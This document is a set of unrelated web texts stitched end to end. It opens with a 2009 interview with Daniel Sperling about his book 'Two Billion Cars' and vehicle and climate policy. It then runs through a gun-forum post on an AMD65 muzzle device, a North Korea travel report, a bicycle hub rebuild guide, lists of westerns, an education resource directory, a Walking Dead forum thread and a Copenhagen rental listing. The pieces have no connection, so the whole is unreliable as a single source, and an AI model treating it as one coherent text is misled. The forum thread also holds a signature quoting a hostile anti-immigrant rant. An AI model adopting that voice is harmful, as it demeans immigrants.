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There are about a billion cars in the world today, and that number will double in 20 years, largely due to the recent enormous growth in China and India. Our reliance on automobiles is already a contributing factor in problems ranging from geopolitics to climate change. Can we accommodate even more cars? What measures are necessary to produce a sustainable future?
"Cars are arguably one of the greatest man-made threats to human society," writes Daniel Sperling, a professor of engineering at the University of California–Davis and founding director of the school's Institute of Transportation Studies. But in Two Billion Cars (Oxford University Press, 2009), written with policy analyst Deborah Gordon, Sperling explains how new technologies and fuels, reforms in the oil and auto industries, and an evolved, enlightened culture can produce a secure, prosperous and efficient world with a harmoniously integrated transportation system.
American Scientist Online managing editor Greg Ross spoke with Sperling by telephone in April 2009.
What led you to write the book?
I became quite frustrated by the fact that almost all the books that were written about energy and transportation were by journalists, and I felt that, while they of course provide some value, they have limited insight into both the problems and the solutions. So, having worked in this area for quite a few years, I felt inspired to write a book that actually dug a little deeper, showed more insights about what the problems really were, provided more context, more history, and then laid out the options that we have before us to deal with climate, oil, security and all the other problems in transportation.
How are we doing as a nation in improving the energy efficiency of our vehicles?
We're doing a horrible job. The book can be read as something very depressing, because in fact if you look at almost any trend, it's going in the wrong direction in terms of energy and climate change and greenhouse-gas emissions. So it's very easy to become depressed. But I think the overall sense of the book is positive, and we try to lay out all the strategies, technologies, solutions and changes that are possible, in some cases actually being pursued already—and that in fact there are many opportunities to respond to those problems and challenges. So in the U.S. today, the good news is that, at the national level, even during the Bush administration there were a couple of laws passed that really started to change the discussion and started to put in place a policy framework for improving the efficiency of our vehicles, and to a lesser extent, started to decarbonize our fuels. So that was good, and then the Obama administration, of course, is pursuing those themes even more aggressively. And, best of all, California is pursuing those policies even more aggressively. But the reality is, even with all of that emerging policy leadership, in fact there hasn't been much change in actual behavior and actual technology.
Is there one key element, say an electric-drive technology, that you think is essential to the whole solution?
I think the greatest opportunity, where we can get the biggest improvement and it's most accessible to us, is improving the vehicles, and that means both improving the efficiency of conventional technology and eventually moving to electric-drive technology and fueling vehicles with low-carbon fuels and biofuels, hydrogen electricity. So we have started the transition to electric-drive technology; you know, we see the Toyota hybrid Prius becoming quite popular, and now there are many other hybrid technologies being unveiled by almost every major car company in the world. But it's still small: Only about 2.5 percent of new vehicle sales are hybrid vehicles, so there's still a long way to go. But at least there is movement in that direction, and most of the car companies have embraced the idea that most vehicles, if not all vehicles, will be electric-drive in the future.
It seems that Detroit does innovate, but until recently its innovations were more toward SUVs and creature comforts rather than toward increased efficiency.
Well, I think the more profound story is that automotive engineers and automotive companies have been quite effective at improving efficiency of vehicles in a technical sense, making the engines more efficient, using more lightweight materials, moving to electrical controls rather than mechanical and hydraulic controls, but they have used most of that efficiency improvement to make the vehicles bigger and more powerful and heavier, and so in the U.S. in the last 25 years the fuel economy has essentially stayed flat, even though in a technical sense the vehicles are much more efficient. And that's because they're more powerful and bigger.
Just one little factoid on that is that in the mid-'80s the average car went from 0 to 60 miles per hour in 14.5 seconds. The average car today does it in 9.5 seconds. So today's vehicles are much more powerful, as well as being bigger, than they were 20 to 25 years ago.
So the Detroit companies have moved to bigger vehicles , big pickups, big SUVs, more and faster than other companies, but even Toyota's Tundra pickup truck was huge, and they just unveiled that a few years ago. But the Detroit companies clearly pursued the SUV phenomenon more than the other companies.
You mentioned low-carbon fuels. How is that search going? Are the right incentives in place for oil companies and others to find an effective low-carbon fuel?
Not exactly. What has happened is that in December 2007 Congress passed a new energy law that requires 36 billion gallons of biofuels to be sold per year by 2022. There are a lot of flaws with that law, one of them being that it only targets biofuels and that it allows almost half of those biofuels to be corn ethanol, which gives us little or no improvement in greenhouse-gas emissions on a life-cycle basis. So that was a step in the right direction, but not the best step. California has developed something called the low-carbon fuel standard, which does cover all fuels, and it's a performance standard that's applied to the oil companies that doesn't pick winners. The European Union is also moving toward a policy very similar to the low-carbon fuel standard, and there are several bills at the U.S. Congress that include a low-carbon fuel standard, so there's a good chance that this standard will sweep through the U.S. and Europe, at least, and that is exactly the kind of policy that will be effective at transforming our fuels and our oil companies as we move into this low-carbon world.
I know you've had your eye on California in particular as a leader in a lot of these areas. Why California?
I've seen some book reviews coming out, and some of them have said that we're too enamored of California, that we're holding up California as a model. But in fact, in terms of policy leadership on climate change, California definitely is an important leader, and it's been putting in place a whole series of laws and policies that are going to be effective at creating this transition to a low-carbon future. So it's not that California is a model, broadly; clearly the budget process has been a disaster, and foreclosures and everything; there are lots of problems in California. But in terms of climate policy and environmental policy leadership, California clearly is a model. It has been very deliberately creating policies that can be imitated elsewhere and that will be consistent and can easily be complemented by policies elsewhere.
So the question might be "Why California?" I think that California is a unique place in many ways, good and bad. The good is that it has a very strong research community; it's got some of the best universities in the world, it's got strong national labs, and it's got Silicon Valley, which has created a large venture capital industry and invests in a lot of new ideas. It's got a population that's very sensitive to environmental problems, and it's got an innovative business community that came out of Silicon Valley. It also has a government agency, the Air Resources Board, that operates fairly independently and has therefore been less encumbered by political constraints than EPA has been in Washington. Also, in California there's no coal industry, and no Detroit car industry to slow things down. So it's had more political space to maneuver in the climate and environmental world. And it's a new society, a new economy, so people are not as bound by tradition as you would find elsewhere.
You say at the same time that the federal government can hinder individual state initiatives like California's. How does that happen?
A lot of policies and rules and laws that are adopted by the states have to be approved by the federal government to be implemented, for various reasons. So, for instance, the greenhouse gas standards adopted by California and 14 or 15 other states—to go into effect, those rules had to be approved by the EPA. For the past 30 years those rules have been under the jurisdiction of the Clean Air Act, and the EPA in the past has always approved these waivers, allowing the states to go ahead with these rules as long as they're more aggressive than the federal ones. This was the first time they actually blocked it, and that was really the Bush administration blocking it. Whereas the low-carbon fuels standard does not need the permission of the federal government. So that's the complicated policy landscape.
The United States used to be the No. 1 emitter of greenhouse gases, but China surpassed us last year. Are they sensitive to these issues?
I think what you could say about China is that it is very concerned about expanding oil imports; it's very concerned about the amount of energy being used, and therefore it is committed to reducing oil use and reducing energy use through energy efficiency. You'd have to say they're not quite as excited about addressing climate change. They see climate change as having been caused largely by the U.S. and the Western countries, and they're correct, because these gases stay in the atmosphere for a hundred years or more, so most of the problem today is due to what the U.S. has done in the past, and Western Europe. But, having said that, they do have motives to reduce oil use and energy use, and they are committed to doing that, and they do realize that they have to be part of the solution. And so they're slowly starting to participate in the global discussion about greenhouse gas reduction. I think they're going to have a meeting in Copenhagen in December, and China will agree to participate in this, but clearly they expect the U.S. to take leadership. That's why the Obama administration's actions are so important, because the rest of the world is not going to pursue greenhouse-gas reduction aggressively unless the U.S. takes leadership.
What's your opinion of Obama's energy policy with regard to these issues in particular?
He's said all the right things, and he's targeted energy efficiency and renewable fuels and devoted a lot of money to that, so I think that's all good. Also, his appointments have been excellent in terms of climate policy and energy efficiency. Carol Browner [assistant to the president for energy and climate change], John Holdren [director of the White House Office of Science and Technology Policy], Steve Chu [Secretary of Energy]—some of them have a strong science basis, unlike many of the leaders in the Bush administration, and all of them are strongly committed to stronger environmental protections and reduction in oil use and reduction in greenhouse gases. So I think that every step he's taken so far has been very positive.
It strikes me that even if the market could lead us to a good solution to a lot of these problems, that may take some time, and with global warming in the equation, that lends an urgency to the whole endeavor. Is there a chance we just won't reach a good solution in time?
It's very likely we won't reduce greenhouse gases fast enough to avert all types of ecological and economic catastrophes. I think neither the political system nor people in general have embraced and come to appreciate how much change is really needed to stabilize the climate. It's partly because the scientific evidence is not certain, so we don't really know exactly what is going to happen. But the great probability is that we need very large reductions to avert climate change. We're clearly not on the path to do that, and it's hard to imagine that we will make large enough reductions soon enough to avert some of those problems.
Having said that, you do what you can do, and the more we do the better it is, and the less we do the worse it is. Part of the challenge here is to embrace some of these policies; in the end, though, it means individuals changing their behavior, companies changing their behavior, governments changing their behavior, and not much of that has happened yet. But, as I said, the Obama administration is taking all the right steps, California is taking the right steps, and the European Union is moving in that direction as well. So in that sense there's a lot of hope.
Part of the problem, I suppose, is that the United States is such a car-centric culture, leaving aside the techological and policy questions. People just love their cars.
Well, you know, California invented car-centric cities, car-centric living, so what I like to say is that that's the good and the bad about California. It did create car-centric cities, but it's now trying to take the leadership to move to low-carbon cities and low-carbon transportation. That's part of the challenge.
There are two major things we can do that will have a major impact. One, we can keep our vehicles and still vastly reduce the carbon footprint by making them much more efficient. The engineers and all the studies they've done show that we can probably double the fuel economy of today's conventional vehicles within about 20, 25 years. And, two, if we switch to electric drive we can get even further reductions. So we can get that 70 to 80 percent reduction in greenhouse gases from our vehicles through more efficient vehicles, electric drive and decarbonizing the fuels.
At the same time, though, if we follow current trends, vehicle usage will continue going up. So the third action is us as people, as travelers, as individuals: In the end we've got to change behavior. The problem is, we have created this transportation monoculture where people just roll out of bed and into their car, and they don't even think about any other way of traveling. And that's mostly because there aren't any other options. Mass transit in this country only accounts for 2.5 percent of travel, and so cars have essentially vanquished transit, except in the dense older cities.
And so on the transportation side we've got to get more inventive and create new modes of travel that allow us to reduce our dependence on cars. I think we can do it in a way that creates a better transportation system. Smart jitney [shared taxi] services, smart carpooling, neighborhood cars, car-sharing—you put all that together and you can create a whole suite of services for people that in fact are better.
It's not like we have the ideal or optimal system now; we in fact have one of the most inefficient, costly transportation systems imaginable. It's not like we want to drive cars and get stuck in traffic congestion. We'd rather be chauffered, wouldn't we, most of us? We'd rather be picked up and delivered and not have to deal with parking and congestion. So these are not new technologies we're talking about; we're just talking about taking information and technology and applying them in the transportation sector, which has been remarkably resistant to innovation. I'm very encouraged that there are lots of options, but the reality is that in terms of changing our behavior and changing our transportation system, that's going to be the slowest and most difficult part of the transition.
What kind of future do you have in mind, ideally? Can you see us reaching a new equilibrium where we live sustainably on this planet with two billion cars?
Absolutely. Even more than two billion—and there probably will be more than two billion. But the cars won't look like today's cars. Some of them will be much smaller. For instance, in 2007 China sold 15 million electric motorcycles and scooters. I'm not saying that's the vision, but it is indicative that we can do things differently. People would like, for their mobility and accessibility, a whole range of vehicle types. There are times when you want that big four-wheel-drive SUV to go up into the mountains to go skiing with the family. But we don't need to drive that big four-wheel-drive SUV for the trip down to the grocery store to get a loaf of bread. So we need to make things like bicycles and walking more attractive; we want to redesign our cities so that these other modes are more feasible and attractive. We can have small vehicles and neighborhood cars for local driving, smart jitney services that pick us up. We can have car-sharing on those days when we want a certain kind of vehicle for a certain use. So it's creating a richer transportation system in which the vehicles are more efficient, with electric drives and using low-carbon fuels. When you put it all together, yes, we can get that 80 percent reduction in the transportation sector and still have a high quality of mobility and accessibility, and possibly, or even likely, at lower cost.
Right now the average cost to own and operate a car is $8,000 per year. So if we got rid of one of our cars, just to start off this transition, and you spent $8,000 on all these other services, many of these services are better. Getting picked up at your door and taken to where you want to go seems like an attractive option to me. And then you could have access to car-sharing once in a while, when you really do need a vehicle to go off somewhere, or even regular car rental. So it's all plausible; it's not the Jetsons or rocket science we're talking about. These are all very accessible technologies. Lots of innovation is needed, but for the most part these are not entirely new inventions or entirely new technologies.
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Amid all the blonde, shirtless men clad almost universally in neon board shorts, artist and Haleiwa resident Colleen Wilcox says she, too, is a surfer—but she leaves Pipeline to the pros, especially in winter, when the waves can top 40 feet high. "But it's always fun to watch!" she says.
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I felt like it was Christmas in May with the different things that showed up in my mailbox. I got one package that was part of a trade deal and opened it to see a beautiful polytech 30 round AK mag. Then I got to the second package which was much heavier. It was the two fake cans that I was waiting for. These are for two AMD65 projects. One is for a friend of mine and the other is for me. :) Here is what the fake can looks like on the AMD65 barrel.
I figure this project is like a "poor mans krink" so to speak. Originally this topic was covered at this thread http://www.gunco.net/forums/showthre...1&page=1&pp=10 . I was able to buy a shortened gas tube that was modified from a standard gas tube so that regular handguards could be used. Of course it would be awesome to have the galil handguard and folding stock that Tapco has teased us with. But either way I now have the last piece for this project (other than trying to decide what stock and handguards to use). I figure using a blind pin would be the best way to go, but will see how everything goes as the project progresses.
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. . . The multi-faceted Jewish life in Poland was tied together by the style of oneness, in the style of many-sided unity of the godhead, for what is style if not unity in diversity? And, in addition, the old idealistic, prophetic, and future-oriented spirit continued to burn in the souls of Polish Jews. It went hand in hand with a cultural this-worldly orientation, and the spirit bridged the different and opposite forms of the consciousness of Polish Jews. . . .
. . . In the last summer before the Second World War, under the black terrible skies, the hearts of Polish Jews were heavy with premonitions of doom. And still, they knew how to turn these forebodings into a feeling of confidence. They learnt through severe trials how to cope with hot and cold without ever giving up hope. Despair which turns into confidence is perhaps a part of the process of the drama of the oneness of the world, a play performed with so much feeling in the depths of the Jewish soul (Polin 8, 322).
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- iReporter Kenny Zhu was allowed to capture North Korea using Google Glass
- Zhu made some observations after the trip -- at the DMZ, they use South Korean brand, Samsung's air con
- South Korea or North Korea? Sony or Apple? Questions the tour guides asked Zhu
iReporter Kenny Zhu visited North Korea in April and was able to take video footage and photos with his Google Glass during the trip (the complete iReport is here).
Zhu, wearing Google Glass, said he encountered curiosity from officials and was inspected before he was allowed to take pictures with his wearable camera/computer device.
"At the first sight they were able to tell it is a photography device. But without Internet -- no Internet service available for temporary foreign visitors in North Korea, the glasses are just a wearable video camera," says Zhu.
"They were suspicious of the Google Glass at first though, asking me some questions about it -- how it work, what does it do, etc.. I let them played around with it and they seemed flattered and inquired no more," says Zhu.
A DPRK official actually accidentally recorded himself while toying with the Glass but Zhu didn't upload the photos in case there might be consequences, for them or himself.
Here are the things that stood out to him the most during the trip, in his words:
1. North Korea was using Samsung (a South Korean multinational electronics company) Air Conditioner at the DMZ (Korean Demilitarized Zone). But 99% of the air conditioners and fridges I saw are Chinese-branded.
2. The highway was extremely bumpy and I saw a decent amount of North Koreans digging -- apparently -- wild vegetables for food on both sides of the highway.
3. I met more foreigners than I expected in North Korea. Actually there were quite a few foreign (non-Asian) tour groups. I also met some Egyptians walking freely in Pyongyang.
4. A tour guide asked me sincerely, "Is South Korea better than North or not?" but he refused to look at the photos I took while I was in South Korea.
5. Here are some recaps of the conversation between me and the tour guide: The guide couldn't believe Seoul has more than 12 subway lines, has never heard of Kim Jong-un's "study abroad in Switzerland" experience and was surprised when hearing that the daughter of Xi Jinping was studying in the States.
He knew way too [little] about Kim's wife, had heard about China's corruption but not the Sewol ferry accident. He visited China once and found out China had serious pollution issues.
6. Apple or Sony? Another guide asked us.
7. The visitors/tourists from the Chinese government dropped significantly after the Chinese government called for its officials to curb public consumption and avoid extravagance, according to the tour guide.
8. There was no button for 5/F at the Yanggakdo Hotel.
9. Automobiles I saw in North Korea are mostly Chinese (approximately 60%) -- Chery, JAC Motors, Dongfeng and King Long. About 20% are Japanese cars like Nissan and Toyota, 5% DPRK brand Pyeonghwa, 5% South Korea's Hyundai and 10% other cars like Benz etc..
10. It only costs Chinese about RMB3,000 ($500) to visit North Korea but the very same trip might cost a U.S. passport holder about $3,000.


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text: Before I took any pics I tore the hub down and cleaned it up. More photogenic that way! Here is a parts drawing to help you on your way. Start by removing the lock nut on the brake arm side Remove the brake arm and dust cover While holding the disc support sleeve, unscrew the axle from the drive side of the hub. Once the axle has been removed, turn the sprocket counterclockwise to remove the driver. Now, support the disc support sleeve and turn that side of the wheel down to slide the remaining components out. Take all of your parts and separate the individual pieces. Drop 'em all into a container of your solvent of choice. Pop open a frosty beverage and start scrubbing the hub shell if it is still laced to the wheel. Once you have everything clean it should look like this And this is the order it should be arranged in once it is assembled To start putting it back together, begin by assembling the brake clutch, transfer spring, and clutch sleeve. Grease well and drop into the hub (clutch sleeve first). Next stack your steel and bronze disc. The stack should have a steel disc on top and bottom when done. Oil the stack with some clean motor oil and align the tabs on the bronze discs. I found the easiest way to get the stack into the hub was to split it in half. After you get the stack into the hub, grease your bearing and set it in the race. Grease the disc support sleeve and slowly twist it through the stack of disc. Twisting it will align the steel discs as it drops in. Now stand the wheel up and install the well greased driver and sprocket assembly with the bearing into the opposite side of the hub. Reinstall the axle until it is snug. Put the dust cap, brake arm and lock nut back into place. Pop another frosty beverage, Mount the wheel on the bike and let's go for a ride!


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I love Westerns! I especially love the Clint Eastwood "Spaghetti" Westerns - "A Fistful Of Dollars" "For A Few Dollars More" and "The Good, The Bad and The Ugly." I love the way Sergio Leone explodes the western "myth." Of course, the music by Ennio Morricone makes them classic as well. "Once Upon The Time In The West" is also a Sergio Leone western starring Henry Fonda, Jason Robards and Charles Bronson. The music is hauntingly beautiful - once again composed by Ennio Morricone.
Of course, John Houston is THE big name in Hollywood westerns. I love his movies as well -
Red River
The Searchers
Actually it's JOHN FORD!!!! Forgetting my history! He is THE biggest name in Hollywood Westerns!!!!
William Welmans'
The Oxbow Incident starring Henry Fonda - one of the finest westerns ever made and that I have ever seen.
How the West Was Won
Cat Balloo (great comic Western!)
High Noon
Shoot Out At the OK Corral
Billy The Kid
Lonesome Dove
I also love all the tv westerns like "Wagon Train" "Rawhide" (Clint Eastwood) "Death Valley Days" "Maverick" "Bonanza"
"Yippe Yi Yea! Ghost Riders In the Sky"


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Mathematics | Science | Additional Links
Technology, demographics and global economic forces are combining in unprecedented ways to change work and redefine the American workplace. Unlike jobs a half-century ago, most positions-those with meaningful career pathways and family-supporting wages-require individuals with strong academic skills, particularly in mathematics, science and technology.
Despite decades of educational reform in our nation's schools, and some slow, steady improvements in students' academic performance, current statistics indicate that not every student is being adequately prepared for their future:
To address issues of high school math, science and technology achievement, numerous efforts are underway at local, State, and federal levels. Among State and local efforts:
Education Week's Quality Counts 2002 reports that every State and the District of Columbia has established standards in core subjects, including math and science. Forty-two (42) States have criterion-referenced assessments aligned to State standards in math, and twenty-four (24) have such assessments in science.
The Education Commission of the States identifies policies that many States are adopting to increase math and science course-taking and graduation requirements.
National data indicate that many schools are offering Advanced Placement (AP), International Baccalaureate (IB), and dual enrollment as strategies to promote higher-level course-taking, including math and science.
Among federal efforts:
The No Child Left Behind Act of 2001 requires States to create their own standards for what a child should know and be able to do for all grades. Standards must be developed for math and reading immediately, and for science by the 2005-06 school year.
The No Child Left Behind Act also establishes the Mathematics and Science Partnerships, which provides competitive 3-year grants to partnerships for activities to improve the math and science achievement of students, and the Access to High Standards Act, which supports State and local efforts to raise academic standards through AP programs, including those in math and science.
TIMSS Online. From the National Center for Education Statistics, this website presents the Trends in International Mathematics and Science Study (TIMSS). Along with reports and analysis at each grade level tested (fourth, eighth and twelfth), the website includes a resource kit to help individual states and districts compare themselves to TIMSS countries; an analysis of mathematics teaching styles in the U.S., Germany and Japan; specific TIMSS test items; and additional TIMSS publications.
Research and Evaluation
Add It Up: Mathematics Education in the U.S. Does Not Compute PDF (596K). Addresses the poor performance of U.S. students on international mathematics tests; the lack of a coherent, focused, mathematics curriculum; and the shortage of teachers with math degrees teaching elementary and high school math (schools with a high percentage of poor and minority students have even greater numbers of out-of-field math teachers). Also includes recommendations for improvement.
A Nation at Risk: The Imperative for Educational Reform. U.S. Department of Education, 1983. "This report: (1) investigates the declining state of the educational system in America, as measured by high school student performance in the United States and other countries; (2) identifies specific problem areas; and (3) offers multiple recommendations for improvement. Schools, colleges, and universities are encouraged to adopt more rigorous and measurable standards and higher expectations for academic performance and student conduct." Recommendations are also made regarding teacher preparation and improving educational leadership.
Before It's Too Late: A Report to the Nation. National Commission on Mathematics and Science Teaching for the 21st Century, 2000. In light of American students' low achievement in math and science when compared to students in other countries, the Commission recommends a thorough restructuring of current methods for recruiting and training math and science teachers, and the development of new classroom techniques.
Improving Mathematics Education Using Results from NAEP and TIMSS PDF (462K). Council of Chief State School Officers, 1999. The authors highlight some of the findings from the National Assessment of Educational Progress and the Third International Mathematics and Science Study, and "pinpoint some of the educational practices and policies that appear to improve student performance."
TIMSS Online. National Center for Education Statistics, ongoing. This website presents the results of the Third International Mathematics and Science Study. Along with reports and analysis at each grade level tested (fourth, eighth and twelfth), the website includes a resource kit to help individual states and districts compare themselves to TIMSS countries; an analysis of mathematics teaching styles in the U.S., Germany and Japan; specific TIMSS test items; and additional TIMSS publications.
Noteworthy Practices
Adding It Up: Helping Children Learn Mathematics. National Academy Press, 2001. Report on how mathematics education in the U.S. must change if children are to learn the skills they need in an increasingly technological society.
Creating a Safe, Supportive Math Classroom. Math Goodies, 2001. Discussion and examples of how teachers can allay children's fears about tackling math problems by teaching them strategies for persevering in the face of difficulty, and removing the stigma from failure.
Designing Mathematics or Science Curriculum Programs: A Guide for Using Mathematics and Science Education Standards. National Academy Press, 1999. This guide "has been developed to help state- and district-level education leaders create coherent, multi-year curriculum programs that provide students with opportunities to learn both mathematics and science in a connected and cumulative way throughout their schooling."
E-Math: A Guide to E-Mail Based Volunteer Programs. U.S. Department of Education, 1998. Email programs provide opportunities for adult volunteers to serve as resources to students because they reduce the time and geographical constraints facing mentors. This guide describes some of the existing volunteer programs.
Every Child Mathematically Proficient. Learning First Alliance, 1998. Action paper with steps teachers, administrators and parents can take to ensure that every healthy child masters core mathematical concepts by grade nine, in preparation for higher level mathematics courses.
Family Math Challenge. National Council of Teachers of Mathematics, ongoing. Website that features problems, solutions, tips and resources for parents to help their children with math concepts.
FREE. Teaching and learning resources, including resources on math, from more than 35 federal agencies.
Gateway to Educational Materials. Educational materials, including those for math, from hundreds of organizations.
Illuminations: Principles and Standards for School Mathematics. National Council of Teachers of Mathematics, ongoing. Website with resources for math teachers on using NCTM principles and standards in the classroom. Includes online "math investigations," web resources, internet-based lesson plans, and an interactive version of the NCTM math standards.
Integrated Curriculum: A Driving Force in 21st-Century Mathematics Education. Eisenhower National Clearinghouse for Mathematics and Science Education, 2001. "Teachers from across the country share their experience using integrated mathematics curricula that engage students in meaningful real-world problem solving."
Principles and Standards for School Mathematics. National Council of Teachers of Mathematics, 2000. National Council of Teachers of Mathematics standards for math education through grade 12, based on learning mathematical concepts with understanding.
Science and Technology
Research and Evaluation
Before It's Too Late: A Report to the Nation. National Commission on Mathematics and Science Teaching for the 21st Century, 2000. In light of American students' low abilities in math and science when compared to students in other countries, the Commission recommends a thorough restructuring of current methods for recruiting and training math and science teachers, and the development of new classroom techniques.
Getting the Most from Technology in Schools. Researchers found that students learn best when technology acquisition is part of larger system reforms and goals are clearly defined, when they learn with technology instead of from technology, when technology use is one part of a coordinated curriculum, and when teachers are well-trained in its use.
Internet Access in U.S. Public Schools and Classrooms: 1994-2001. Data on Internet access in U.S. public schools from 1994 to 2001 by school characteristics. Includes trend analysis on the progress of public schools and classrooms in connecting to the Internet and on the ratio of students to instructional computers with Internet access. For the year 2001, also reports data on the types of Internet connections used and student access to the Internet outside of regular school hours.
Key Building Blocks for Student Achievement in the 21st Century. CEO Forum on Education and Technology, 2001. In its year four report on the use of educational technology in the United States, the CEO Forum assessed the impact of technology on student achievement. The group found that while technology can improve student achievement, it works best if fully integrated into the curriculum and tied to clear, measurable objectives. The report includes recommendations to improve the technological skills of American students.
Meeting the Need for Scientists, Engineers, and an Educated Citizenry in a Technological Society. Educational Testing Services Policy Information Center, 2002. Discusses the general need for a highly educated citizenry in an increasingly technological society, shows that not enough young people are choosing to study science- and math-related fields, shows that minority youth in particular are under-represented in those fields, and suggests six areas of concentration for recruiting more minority youth into math and science study. The six areas are: (1) starting early; (2) better teaching; (3) raising minority achievement at the top; (4) identifying sources of low achievement; (5) assistance; and (6) persistence.
Teachers' Tools for the 21st Century. National Center for Education Statistics, 2000. "This report uses multiple data sources to describe teachers' use of education technology in their classrooms and schools. It examines the availability of this technology in their classrooms and schools, their training and preparation for using it, and the barriers to technology use they encounter."
Tech-Savvy: Educating Girls in the New Computer Age. American Association of University Women, 2000. Based on a research review, an online teacher survey, and focus groups with girls, the AAUW concludes that girls' underrepresentation in technology fields results from a failure to relate computers to girls interests and learning styles. The commission recommends a more inclusive computer culture to bring more girls into technology careers.
Technology in the Schools: It DOES Make a Difference! Education World, 1999. This article discusses research that supports the use of technology in classrooms to improve student learning.
Noteworthy Practices
All Star Network: Aeronautics Learning Laboratory for Science, Technology and Research. National Aeronautics and Space Administration (NASA), ongoing. Website that lays out the history and principles of, as well as potential careers in, aeronautics. Breaks down the presentation by grade level, and includes study pieces and review exercises. Targeted toward students.
Balancing the Equation: Where are Women & Girls in Science, Engineering & Technology? National Council for Research on Women, 2001. Discussion of some of the barriers that prevent women and girls from participating fully in science and technology education and careers, and methods for bringing down those barriers.
Beyond Technology: Making a Difference in Student Performance. Electronic School, 2000. Strategies to fully integrate technology into the classroom, change the process of teaching and learning, and improve student outcomes.
Classroom Assessment and the National Science Education Standards. National Academy Press, 2001. Designed to accompany the National Science Education Standards, this book focuses on how teachers can craft assessments for individual classrooms that accurately gauge student understanding.
Connecting Curriculum and Technology. International Society for Technology in Education, 1999. Publication showing how to integrate the National Technology Standards into classroom learning, with specific curriculum examples and strategies. Find this resource on the International Society for Technology in Education site.
Education Leadership Toolkit. National School Boards Association, 1998. The "Education Leadership Toolkit: Change and Technology in America's Schools" is a website designed to put the latest research, case studies, tools and approaches for successful education technology integration at the fingertips of school board members."
Good Models of Teaching with Technology. Knowledge Loom, Ongoing. Website featuring exemplary practices, classroom strategies and expert discussion on teaching with technology.
Integrating Science Education and Career and Technical Education. National Dissemination Center for Career and Technical Education, 2000. Explores how students can achieve more in science with a curriculum that emphasizes real-world applications.
Performance Assessment Links in Science (PALS). SRI International, ongoing. This is an online database correlating classroom tasks with the national education standards in science. The tasks are broken down by standard and by grade level.
Science Resources for Parents. National Science Teachers Association, 1999. Tips from the NSTA on how to foster scientific thinking from a young age.
Scope, Sequence and Coordination: A Framework for High School Science Education. National Science Teachers Association, ongoing. This website provides an overview and details of the NSTA's project to develop curriculum and assessment materials based on the National Science Standards. The site includes a detailed explanation of the content standards and the micro-units developed for different grade levels to achieve those standards.
TechKnow: Teaching with Technology. Public Broadcasting System, ongoing. This PBS webpage has activities for beginning, intermediate and advanced technology users to incorporate the internet into classroom teaching.
Technology in the Classroom: 10 Tips. Educational Testing Service, 2000. 10 tips on how to fully integrate technology into the classroom to improve teaching and learning.
Technology Integration Vignettes. International Society for Technology in Education, 1998. Three vignettes trace the experiences of Melissa (6th grade), Eduardo (7th grade), and Lakeisha (8th grade) as they encounter a newly-integrated curriculum that makes extensive use of computer learning programs, word-processing and database software, and Internet search and communication techniques. They are intended to help teachers visualize how subject-area technology integration could work, and include ideas and resources for specific subject areas. The resources are in Learning and Leading with Technology, February, March and April 1998. You can order this resource on the International Society for Technology in Education site.
Additional Links
Education Resource Organizations Directory (EROD). A list of organizationsl that provide resources for math instruction.
Eisenhower National Clearinghouse. Curriculum and professional development resources for math and science teachers.
Educational Realms, former ERIC Clearinghouse on Science, Mathematics and Environmental Education. Resources for teaching and learning about science, mathematics, and the environment.
National Assessment of Educational Progress. The Nation's Report Card, NCES. Student achievement trends in eight subject areas.
Center for Improved Engineering and Science Education (CIESE) focuses on Internet-based lessons. Includes various science projects and information about science programs and activities in schools.
International Society for Technology in Education. Professional organization dedicated to promoting the use of technology to enhance teaching, learning and administration in K-12 education.
National Science Foundation Education Programs and Grants. The National Science Foundation supports programs that integrate science, mathematics, and engineering research and education. The website has information on NSF's initiatives, publications from funded research efforts, and grant and funding information.
NSTA's High School Science Webpage. News, journal articles and resources for high school science teachers from the National Science Teachers Association.
Society for Information Technology and Teacher Education. Website dedicated to exploring ways in which the Internet can benefit teacher education programs around the world.


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Rick banished her for killing and burning those people a few episodes back
What did the short hair woman do? I had to take a leak next thing I know she gone
Rick banished her for killing and burning those people a few episodes back
She killed 2 living people who were sick in the prison to try and stop the virus from spreading.
Sorry, he stepped down from being the leader, and declined the invitation to join the council, so he had no "right" to kick her out of the group. Not to mention the fact that how is he gonna sit high on his moral horse, when there is NO ONE that hasn't made a bad choice or three since the SHTF, and they were all doing it for the good of the group, not out of being a bad/evil person. If I was Carrol, I would've refused to leave. If I was Rick, I would've covered for her, and kept it secret. Maybe blamed it on someone who died after the two bodies were found burned.
Enforcement, NOT Amnesty!!!!!!
"If theyre going to come here illegally, apply for & receive assistance through a corrupted Government agency encouraging this lawless behavior, work under the table & send billions of dollars each year back to their families in Mexico, while bleeding local economies dry, protest in our streets waving their Mexican flags DEMANDING rights, while I have to press 1′ for English, then they need to be shipped back to where they came from!" -Chad Miller
All I did was take a leak and bam missed half the story. Three beers tho..
I agree with you 2nd. I think some of his decision was based off of how "carl" she has become. Cold and emotionless. And Rick still holds out hope for normalcy in that day and age. She moves on easily after that hippy and the crackhead got eaten, and Rick seemed to want to spend an hour crying for them. And that doctor almost getting eaten for holding onto his bag with the bottle of booze in it. Pssshh. I thought Daryl was going to either bite him, kiss him, or head butt him after that. hahahaha. I still love that show though.
Good episode. I think they will have to move from the prison soon. To many walkers showing up. Now if it were me I would wait till winter so the zombies freeze up and cant move. Then maybe organize survivors into killing groups to take out the zombiesicles. Easy pickin's, altho a lot of hard work.
Clan MacPherson
And why is no one using a poleaxe? Seems like a good choice. It literally means "head axe".
Clan MacPherson
That pulls us back into "why the hell are they using bolt action hunting rifles with all those ARs and AKs around!?" conversations! So far I think the best idea theyve had is just stabbing zombies in the heads through the fence!
I think mashone? With the samurai still the bomb.don't know who she'll end up with if she wants anybody .


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Bright Studio in Beautiful House
Maksimum Konuk Sayısı2
Yatak odası1
Boyut40 metrekare
Floor No.2
- İnternet/Kablosuz ağ
- Mutfak
- Havlu
- Aile / Çocuk dostu
- mevcut Otopark
Accommodation summary
|Küchlersgade, 1774 København V, Danimarka
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|Acceptance rate
|Response time
|A few hours
|Calendar updated
|5 days ago
The nicely decorated studio holds a comfortable double bed and a dining area. A small kitchenette with a hob, fridge and microwave can be used to prepare light meals and snacks. Internet access and TV are available. The host lives in the townhouse.
You have to pay for parking throughout Copenhagen. I can recommend a place 8 min walk from my house, where it is free.
I live in my house with my daughter and it means that there is only one entrance and we are in the house during your stay.
Just 400 meters away are the Carlsberg Brewery. Walk for 15 minutes to Copenhagen Zoo. Central Copenhagen is a leisurely 20-minute stroll away. The beautiful Tivoli Gardens are reachable in the same distance.
Guests will find themselves in a quiet neighborhood, but close to the city. It has many different ethnic and Danish restaurants and cafes. Several specialty shops and supermarkets are also close by as well as a park with several jogging tracks. It is a 10-minute walk to train, bus and metro lines.
